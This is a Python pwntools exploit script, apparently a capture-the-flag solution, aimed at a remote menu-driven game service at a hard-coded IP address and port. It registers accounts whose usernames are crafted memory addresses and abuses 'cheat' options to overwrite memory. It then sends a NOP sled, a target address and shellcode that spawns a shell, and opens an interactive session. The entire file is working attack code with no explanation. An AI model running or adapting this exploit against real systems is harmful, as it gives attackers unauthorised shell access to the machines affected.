from
pwn
import
*
context(os
=
'linux'
, arch
=
'amd64'
, log_level
=
'debug'
)
context.terminal
=
'/bin/sh'
p
=
remote(
"123.206.22.95"
,
8888
)
def
signin(name, passwd, character):
p.recvuntil(
"=============================="
)
p.recvuntil(
"=============================="
)
p.sendline(
"2"
)
p.recvuntil(
"input your username"
)
p.sendline(
str
(name))
p.recvuntil(
"input your password"
)
p.sendline(
str
(passwd))
p.recvuntil(
"input your character's name"
)
p.sendline(
str
(character))
def
login(name, passwd):
p.recvuntil(
"=============================="
)
p.recvuntil(
"=============================="
)
p.sendline(
"1"
)
p.recvuntil(
"Input your username:"
)
p.sendline(
str
(name))
p.recvuntil(
"Input your password:"
)
p.sendline(
str
(passwd))
def
cheat1(name, content):
p.recvuntil(
"#####################"
)
p.recvuntil(
"0.exit"
)
p.sendline(
"5"
)
p.recvuntil(
"name:"
)
p.sendline(
str
(content))
p.recvuntil(
"content:"
)
p.sendline(
str
(content))
p.recvuntil(
"#####################"
)
p.recvuntil(
"0.exit"
)
p.sendline(
"0"
)
def
cheat2(content):
p.recvuntil(
"#####################"
)
p.recvuntil(
"0.exit"
)
p.sendline(
"5"
)
p.recvuntil(
"content:"
)
p.sendline(
str
(content))
p.recvuntil(
"#####################"
)
p.recvuntil(
"0.exit"
)
p.sendline(
"1"
)
name
=
p64(
0x605038
)
passwd
=
p64(
0x0
)
character
=
p64(
0x0
)
signin(name, passwd, character)
login(name, passwd)
cheat1(
'test'
,
'test'
)
name
=
p64(
0x605020
)
passwd
=
p64(
0x0
)
character
=
p64(
0x0
)
signin(name, passwd, character)
login(name, passwd)
payload
=
p64(
0x9090909090909090
)
*
11
+
p64(
0x604F98
)
+
p64(
0x9090909090909090
)
*
2
+
asm(shellcraft.sh())
cheat2(payload)
p.interactive()<br>